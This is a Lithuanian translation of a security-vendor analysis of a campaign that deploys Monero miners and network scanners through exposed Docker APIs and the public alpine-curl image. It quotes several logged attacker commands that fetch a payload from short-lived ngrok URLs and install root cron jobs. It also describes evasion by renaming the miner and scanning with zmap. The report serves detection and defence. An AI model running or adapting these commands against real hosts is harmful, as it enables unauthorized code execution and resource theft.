Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus

Išanalizavome surinktus duomenis naudodami medaus puodo konteinerius, kuriuos sukūrėme grėsmėms sekti. Ir mes aptikome reikšmingą nepageidaujamų ar neleistinų kriptovaliutų kasėjų veiklą, dislokuotų kaip nesąžiningi konteineriai, naudodami bendruomenės paskelbtą vaizdą „Docker Hub“. Vaizdas naudojamas kaip paslaugos, teikiančios kenkėjiškus kriptovaliutų kasėjus, dalis.

Be to, įdiegtos programos, skirtos darbui su tinklais, kad įsiskverbtų į atvirus gretimus konteinerius ir programas.

Mes paliekame savo medaus puodus tokius, kokie yra, ty su numatytaisiais nustatymais, be jokių saugumo priemonių ar vėlesnio papildomos programinės įrangos įdiegimo. Atminkite, kad „Docker“ pateikia pradinės sąrankos rekomendacijas, kad būtų išvengta klaidų ir paprastų pažeidžiamumų. Tačiau naudojami medaus puodai yra konteineriai, skirti aptikti atakas, nukreiptas į konteinerių platformą, o ne į konteinerių viduje esančias programas.

Aptikta kenkėjiška veikla taip pat pastebima, nes jai nereikia pažeidžiamumų ir ji taip pat nepriklauso nuo Docker versijos. Neteisingai sukonfigūruoto, taigi ir atviro konteinerio vaizdo radimas yra viskas, ko užpuolikams reikia užkrėsti daugybe atvirų serverių.

Neuždaryta Docker API leidžia vartotojui atlikti įvairius veiksmus komandos, įskaitant veikiančių konteinerių sąrašo gavimą, žurnalų gavimą iš konkretaus konteinerio, paleidimą, sustabdymą (įskaitant priverstinį) ir net naujo konteinerio kūrimą iš konkretaus vaizdo su nurodytais parametrais.

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus
Kairėje yra kenkėjiškų programų pristatymo būdas. Dešinėje yra užpuoliko aplinka, leidžianti nuotoliniu būdu paleisti vaizdus.

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus
3762 atvirų „Docker“ API paskirstymas pagal šalį. Remiantis 12.02.2019-XNUMX-XNUMX Shodan paieška

Atakos grandinės ir naudingosios apkrovos parinktys

Piktybiška veikla buvo nustatyta ne tik medaus puodų pagalba. „Shodan“ duomenys rodo, kad atskleistų „Docker“ API skaičius (žr. antrą diagramą) padidėjo nuo tada, kai ištyrėme netinkamai sukonfigūruotą konteinerį, naudojamą kaip tiltą „Monero“ kriptovaliutų kasybos programinei įrangai diegti. Praėjusių metų spalį (2018 m., dabartiniai duomenys tu gali atrodyti taip apytiksliai vertėjas) buvo tik 856 atviros API.

Ištyrus medaus puodo žurnalus paaiškėjo, kad konteinerio vaizdo naudojimas taip pat buvo susijęs su naudojimu ngrok, įrankis, skirtas saugiems ryšiams užmegzti arba srautui persiųsti iš viešai prieinamų taškų į nurodytus adresus ar išteklius (pvz., „localhost“). Tai leidžia užpuolikams dinamiškai kurti URL, siunčiant naudingą apkrovą į atvirą serverį. Žemiau pateikiami kodų pavyzdžiai iš žurnalų, rodančių piktnaudžiavimą „ngrok“ paslauga:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Kaip matote, įkelti failai atsisiunčiami iš nuolat besikeičiančių URL. Šių URL galiojimo laikas yra trumpas, todėl pasibaigus galiojimo laikui naudingųjų krovinių atsisiųsti negalima.

Yra dvi naudingos apkrovos parinktys. Pirmasis yra sukompiliuotas ELF miner, skirtas Linux (apibrėžiamas kaip Coinminer.SH.MALXMR.ATNO), kuris jungiasi prie kasybos telkinio. Antrasis yra scenarijus (TrojanSpy.SH.ZNETMAP.A), skirtas gauti tam tikrus tinklo įrankius, naudojamus nuskaityti tinklo diapazonus ir ieškoti naujų tikslų.

Droperio scenarijus nustato du kintamuosius, kurie vėliau naudojami diegti kriptovaliutų kasyklą. Kintamajame HOST yra URL, kuriame yra kenkėjiški failai, o RIP kintamasis yra diegtinos miner failo pavadinimas (iš tikrųjų maišos). HOST kintamasis keičiasi kiekvieną kartą, kai keičiasi maišos kintamasis. Scenarijus taip pat bando patikrinti, ar užpultame serveryje neveikia jokie kiti kriptovaliutų kasėjai.

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus
HOST ir RIP kintamųjų pavyzdžiai, taip pat kodo fragmentas, naudojamas patikrinti, ar neveikia kiti mineriai

Prieš pradedant miner, jis pervadinamas į nginx. Kitos šio scenarijaus versijos pervadina minerį į kitas teisėtas paslaugas, kurios gali būti Linux aplinkoje. Paprastai to pakanka, kad būtų išvengta vykdomų procesų sąrašo patikrinimų.

Paieškos scenarijus taip pat turi funkcijų. Jis veikia su ta pačia URL paslauga, kad įdiegtų reikiamus įrankius. Tarp jų yra dvejetainis zmap, kuris naudojamas tinklams nuskaityti ir atvirų prievadų sąrašui gauti. Scenarijus taip pat įkelia kitą dvejetainį failą, kuris naudojamas sąveikauti su rastomis paslaugomis ir gauti iš jų reklamjuostes, siekiant nustatyti papildomą informaciją apie rastą paslaugą (pavyzdžiui, jos versiją).

Scenarijus taip pat iš anksto nustato kai kuriuos tinklo diapazonus, kuriuos reikia nuskaityti, tačiau tai priklauso nuo scenarijaus versijos. Jis taip pat nustato tikslinius prievadus iš paslaugų – šiuo atveju „Docker“ – prieš paleidžiant nuskaitymą.

Kai tik randami galimi taikiniai, reklamjuostės iš jų automatiškai pašalinamos. Scenarijus taip pat filtruoja taikinius, atsižvelgdamas į dominančias paslaugas, programas, komponentus ar platformas: Redis, Jenkins, Drupal, MODX, Kubernetes meistras, Docker 1.16 klientas ir Apache CouchDB. Jei nuskaitytas serveris atitinka bet kurį iš jų, jis išsaugomas tekstiniame faile, kurį užpuolikai vėliau gali panaudoti tolesnei analizei ir įsilaužimui. Šie tekstiniai failai per dinamines nuorodas įkeliami į užpuolikų serverius. Tai reiškia, kad kiekvienam failui naudojamas atskiras URL, o tai reiškia, kad vėlesnė prieiga yra sudėtinga.

Atakos vektorius yra „Docker“ vaizdas, kaip matyti iš kitose dviejose kodo dalyse.

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus
Viršuje yra pervadinimas į teisėtą paslaugą, o apačioje - kaip zmap naudojamas tinklams nuskaityti

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus
Viršuje yra iš anksto nustatyti tinklo diapazonai, apačioje yra konkretūs prievadai, skirti ieškoti paslaugų, įskaitant „Docker“.

Kaip nepatentuota Docker API ir viešieji bendruomenės vaizdai naudojami platinant kriptovaliutų kasėjus
Ekrano kopijoje matyti, kad alpių garbanos vaizdas buvo atsisiųstas daugiau nei 10 milijonų kartų

Remdamiesi „Alpine Linux“ ir „curl“, efektyviu išteklius naudojančiu CLI įrankiu, skirtu failams perkelti įvairiais protokolais, galite sukurti Docker vaizdas. Kaip matote ankstesniame paveikslėlyje, šis vaizdas jau buvo atsisiųstas daugiau nei 10 milijonų kartų. Didelis atsisiuntimų skaičius gali reikšti, kad šis vaizdas bus naudojamas kaip įėjimo taškas; šis vaizdas buvo atnaujintas daugiau nei prieš šešis mėnesius; vartotojai ne taip dažnai atsisiuntė kitų vaizdų iš šios saugyklos. „Docker“ programoje įėjimo taškas - instrukcijų rinkinys, naudojamas sukonfigūruoti konteinerį, kad jis būtų paleistas. Jei įvesties taško nustatymai yra neteisingi (pavyzdžiui, konteineris paliekamas atidarytas iš interneto), vaizdas gali būti naudojamas kaip atakos vektorius. Užpuolikai gali jį naudoti, kad pristatytų naudingą krovinį, jei randa netinkamai sukonfigūruotą arba atidarytą konteinerį, kuris nepalaikomas.

Svarbu pažymėti, kad pats vaizdas (alpine-curl) nėra kenksmingas, tačiau, kaip matote aukščiau, jis gali būti naudojamas kenkėjiškoms funkcijoms atlikti. Panašūs „Docker“ vaizdai taip pat gali būti naudojami kenkėjiškai veiklai atlikti. Susisiekėme su Docker ir dirbome su jais šiuo klausimu.

Rekomendacijos

Neteisingas nustatymas lieka nuolatinė problema daugeliui įmonių, ypač diegiančioms DevOps, orientuota į greitą plėtrą ir pristatymą. Viską apsunkina būtinybė laikytis audito ir stebėjimo taisyklių, būtinybė stebėti duomenų konfidencialumą, taip pat didžiulė žala dėl jų nesilaikymo. Saugos automatizavimo įtraukimas į kūrimo gyvavimo ciklą ne tik padeda rasti saugos spragų, kurios kitu atveju galėtų likti nepastebėtos, bet ir sumažins nereikalingą darbo krūvį, pvz., paleisti papildomas programinės įrangos versijas, skirtas kiekvienam aptiktam pažeidžiamumui ar netinkamai konfigūracijai įdiegus programą.

Šiame straipsnyje aptariamas incidentas pabrėžia būtinybę nuo pat pradžių atsižvelgti į saugumą, įskaitant šias rekomendacijas:

  • Sistemos administratoriams ir kūrėjams: visada patikrinkite API nustatymus, kad įsitikintumėte, jog viskas sukonfigūruota priimti tik užklausas iš konkretaus serverio arba vidinio tinklo.
  • Laikykitės mažiausių teisių principo: užtikrinkite, kad konteinerio vaizdai būtų pasirašyti ir patvirtinti, apribokite prieigą prie svarbiausių komponentų (konteinerio paleidimo paslauga) ir pridėkite tinklo jungčių šifravimą.
  • Sekite rekomendacijas ir įjungti apsaugos mechanizmus, pvz. iš Docker ir įmontuotas apsaugos funkcijos.
  • Naudokite automatinį vykdymo laiko ir vaizdų nuskaitymą, kad gautumėte papildomos informacijos apie konteineryje vykdomus procesus (pavyzdžiui, aptiktumėte klastojimą arba ieškotumėte pažeidžiamumų). Programų valdymas ir vientisumo stebėjimas padeda stebėti neįprastus serverių, failų ir sistemos sričių pokyčius.

„Trendmicro“ padeda „DevOps“ komandoms kurti saugiai, greitai įdiegti ir paleisti bet kur. Trend Micro Hibridinė debesų sauga Suteikia galingą, supaprastintą ir automatizuotą apsaugą visame organizacijos „DevOps“ dujotiekyje ir suteikia daugybę apsaugos nuo grėsmių XGen siekiant apsaugoti fizinius, virtualius ir debesų darbo krūvius vykdymo metu. Tai taip pat padidina konteinerio saugumą Gilus saugumas и Deep Security Smart Check, kurie nuskaito „Docker“ konteinerių vaizdus, ​​​​ar juose nėra kenkėjiškų programų ir pažeidžiamumų bet kuriame kūrimo etape, kad būtų išvengta grėsmių prieš juos įdiegiant.

Kompromiso ženklai

Susijusios maišos:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Apie Docker vaizdo kursas Praktikuojantys garsiakalbiai parodo, kokius nustatymus pirmiausia reikia atlikti, kad būtų sumažinta aukščiau aprašytos situacijos tikimybė arba visiškai išvengta jos atsiradimo. O rugpjūčio 19-21 dienomis internetiniame intensyviame „DevOps Tools&Cheats“. Šias ir panašias saugumo problemas galite aptarti su kolegomis ir praktikuojančiais mokytojais prie apskritojo stalo, kur kiekvienas galės pasisakyti ir išklausyti patyrusių kolegų skausmus ir sėkmes.

Šaltinis: www.habr.com

Добавить комментарий